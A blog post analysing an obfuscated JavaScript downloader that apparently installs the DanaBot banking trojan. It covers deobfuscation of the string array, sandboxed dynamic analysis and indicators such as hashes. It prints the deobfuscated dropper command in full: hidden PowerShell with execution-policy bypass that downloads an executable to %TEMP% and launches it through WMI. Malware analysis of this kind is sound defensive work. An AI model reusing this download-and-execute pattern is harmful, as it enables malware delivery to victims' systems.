Post 0x08: Analyzing DanaBot’s Javascript Downloader

While I took a break from analyzing the two other Lazarus DLL’s, I decided to take a look at the downloader used to install DanaBot (A banking trojan) onto user’s systems, because a regular Javascript downloader isn’t that hard to analyze… right? I definitely have to give credit to whoever wrote the downloader because I personally have never seen that much obfuscation in a regular downloader or dropper. Even the Emotet downloader was fairly simple to analyze. So I’ve spent the past few days trying to get through the static analysis part of it, just to see HOW the obfuscation works. The final time I attempted it, I managed to get to the final function – I then realized that I may have interpreted something the wrong way. Brilliant. From there, I chose to run it on a VM without network connections to see if I could extract anything at all from it. Sure enough, I noticed Powershell being executed. Even though I wasn’t fully able to analyze the Javascript downloader fully, I have a very good idea on what it does and how it does it, hence I am writing this post. As per usual, here’s the best place to get malware, including this sample and the actual DanaBot sample.

MD5 Hash: 51e18ac9715e924b76bbcfaa68a54e98

The first thing you’ll notice when opening the file up is the variable nmnmnmnmnmnmnmnm_0x3b21 being used as a list for a multitude of strings. Strings such as help to give us an idea on how this sample achieves its main goal – downloading the second or final stage payload. To make things simple, when I analyze plaintext droppers/downloaders I rename the default names, that is if they are gibberish like the list variable. Rather than going through the whole file and rename each occurance of a string, Gedit, and most other text editors, has an option to Find and Replace, and I highly suggest using this so you don’t end up missing any default names. After renaming the list variable, simply to List, we can move down.

Just underneath the list is our first function:

So, what exactly does this function do? Well it looks like it accepts two arguments, and a variable is initialized with a function created inside the original function. A while loop is started, and every time the loop loops _0x11e646 is decremented by 1. When this variable is 0, the loop will break. Inside the loop, _0x2a34b0 (argument 1) uses [‘push’] with the argument being _0x2a34b0 (still the first argument). You may notice [‘shift’], which is executed in the argument. In order to actually call this function, _0x76e60a(++_0x587b4f); is run. As _0x76e60a has been initialized with the loop function, it will execute the loop, passing _0x76e60a (argument 2), which is incremented by 1. The very bottom of the function is where the function is executed with arguments. Argument 1 is the List variable that we saw at the top, and 0x97 is passed as argument 2. 0x97, when converted to a decimal, becomes 151, therefore argument 2 is 151. If this is confusing, don’t worry, here is the deobfuscated function:

Basically, the main purpose of this first function is to rearrange the list variable, so that it is ready for the other functions. It removes an element (a string) from the top of the list, and adds it onto the end, 152 times in a row. It is 152 times rather than 151 because Var_1 is called, passing 151 as the argument, however it is incremented by 1 before being passed to the function. As I was doing the analysis on my Ubuntu machine, I used Mozilla’s Javascript Documentation site in order to execute the function that rearranged the list.

Now that the list was arranged properly, I needed to split it so instead of being in one long line, it looked like a legible list. You can do this very simply in Python using the .split call. I chose to split it using the commas, so after running the script, I needed to add the commas to the list. So, now we have the new array, rendering the first function practically useless:

I replaced the original list with the newly formed one, and then moved onto the next function:

This is another simple function to deobfuscate, mainly because it is only three lines. First, nmnmnmnmnmnmnmnm_0x4ade is initialized with a function that accepts two arguments. 0x0 (0 in decimal) is then subtracted from the value in argument one. The first argument is then used to lookup a value in the List, with the discovered value being stored in _0x19e953, which is then used as the return value. When fully deobfuscated, the function looks like this:

As you can see, I have purposely left out the second argument – this is because it is not used at all in the argument, so it is meaningless. Also, the variable that was returned was not required, as you can return the value in the list instantly. This function is pretty much a lookup function, so arguments can be withdrawn from the list like so:

 var Argument = Function_B(0x1);

After the first two functions, we now find what seems to be three global variables:


The second variable is just blank, hence the . The first and third variable seem to be utilizing the last function to get variables from the list in order to form the string. We can easily get the entire string by popping it back into Mozilla’s developer site and having it console.log() the global variables:


So once the string has been formed, we can see some interesting strings, such as pFoFwFeFrshFeFllF. When I was analyzing this file, I did not pay an enormous amount of attention to the global variables, rather I focused on the functions. Whilst writing this, I decided to remove all the “F”‘s in the second global variable, and received this output:

uwOxaYrXhvHbyon.ShellExecute("CMd.Exe", "/c powershell.exe -noprofile -windowstyle hidden  -executionpolicy bypass $OE = New-Object System.Net.WebClient; $OE.Headers['User-Agent'] = 'Gifts 20.1.1'; $OE.downloadfile('','%tEmp%qlf44.exE'); InvoKe-WmIMethod -ClaSs WiN32_ProcesS -NaMe CreaTe -ArgumENTLisT '%TeMp%qlf44.eXE'", "", "open", 0);

I then decided to remove the “OGXYx“‘s from the first global variable and got this output:

uwOxaYrXhvHbyon = new ActiveXObject("shell.applIcAtioN"); BvtXZziqOgswraCLu = "F"; jTkhyfgziXePwvcSE = "KXybHxaJYOdiCvDfcWQ";

I still cannot believe I missed that. Anyway, continuing with the analysis and I will then go over the embedded second stage script.
So once we have finished deobfuscating the global variables, we can now move onto the largest and most complex function in the downloader, which was not fun at all.

This function uses a total of 3 different arrays to store functions or values. This means a call to Array_1[“nWTXm”] would execute a function with two arguments, and storing Array_1[“aVnJm”] in a variable would give the string “EABLM“. A lot of the functions in the arrays also used the lookup function to get variables from the main list. This caused quite a lot of confusion, as it meant there were several functions in one. Moreover, this function created a few more functions, that were either useless, blank or a requirement. An example of this were the ternary operations used in the main function. New functions would be created as arguments, with one function having data in it and the other being completely blank. I managed to briefly analyze this, but it mainly seemed like a function specifically for deobfuscating, except for the 1 eval() statement which executed the first global function.

Just underneath the function was a section of text that was not in a function, so it executed on its own:

This code also uses the lookup function to fill in variables and strings, so it is seeming like an extremely important one. First, a new ActiveXObject is created, with the 22nd item in the main list – The downloader then gets a handle on the Templates directory, plus “Google.url“, which is the 23rd item in the main list. The 24th element in the main list is “CreateShortcut“. So the program is creating a shortcut in the Templates directory. Finally, the 25th element in the list is ““. A shortcut is being created for Google? Perhaps this is used to see if the malware has already been installed, as it attempts to save it and if there are any errors it executes Gen_1, which contains the first global variable – with “OGXYx” removed, which is the 18th element in the list. Therefore, we can possibly determine that Function_C is merely a function used to remove strings from variables.


Once I had finished analyzing this text, I decided it was time to perform some dynamic analysis and extract the possible embedded second stage that was running.

I opened up Virtual Machine, disconnected the network, and opened up ProcessHacker. As soon as I executed the downloader, I noticed Wscript.exe pop up and disappear instantly, and soon after, a powershell.exe process was spawned. After suspending the process, I was able to view the CMD command that was used to spawn this process, which is the powershell script stored in the second global variable. Why. Didn’t. I. Realize. Earlier. After cleaning the command up a bit, we are left with:


This script runs hidden and bypasses the execution policy. It creates a WebClient object, and sets the User-Agent to “Gifts 20.1.1“. This could be a way of establishing if connections are from real bots or security researchers/unaware users. A php file is downloaded from (which seems to have gone down), and saved as an executable in the %APPDATA%/Localdirectory, with the name Tempqlf44.exE. This is then executed using Invoke-WMIMethod. The downloaded file is the DanaBot banking trojan, that is capable of Web Injects, VNC, and regular stealing functions (Chrome Password stealing, Windows Vault stealing, etc.). Once I have finished the Joanap analysis (or perhaps before, depending on how that goes), I will be attempting to analyze DanaBot, so expect a post about that some time soon!


  • Javascript Downloader: 51e18ac9715e924b76bbcfaa68a54e98
  • (DanaBot) Possible Downloaded File: b8933454325692fe67acd1f58e6c55c3
  • URL: hxxp://
    • Downloaded to: AppData\Local\Tempqlf44.exE

0 Replies to “Post 0x08: Analyzing DanaBot’s Javascript Downloader”

  1. So looking at this I feel like you mixed up the file name. The one that is issued to powershell by the JavaScript includes %temp% before the file name which is a cheap way of expanding the path to “C:/Users/user/AppData/Local/Temp/”. The file is placed in the Temp directory with a random name. Therefore the file name is not “TEMP.exe” but actually “.exe”. Just a nitpick on the article.

    1. Your site stripped my quoted “random” with gt and lt symbols. I guess it thought it was html. So TEMP.exe should read TEMPrandom.exe and .exe should read random.exe

Leave a Reply

Your email address will not be published. Required fields are marked *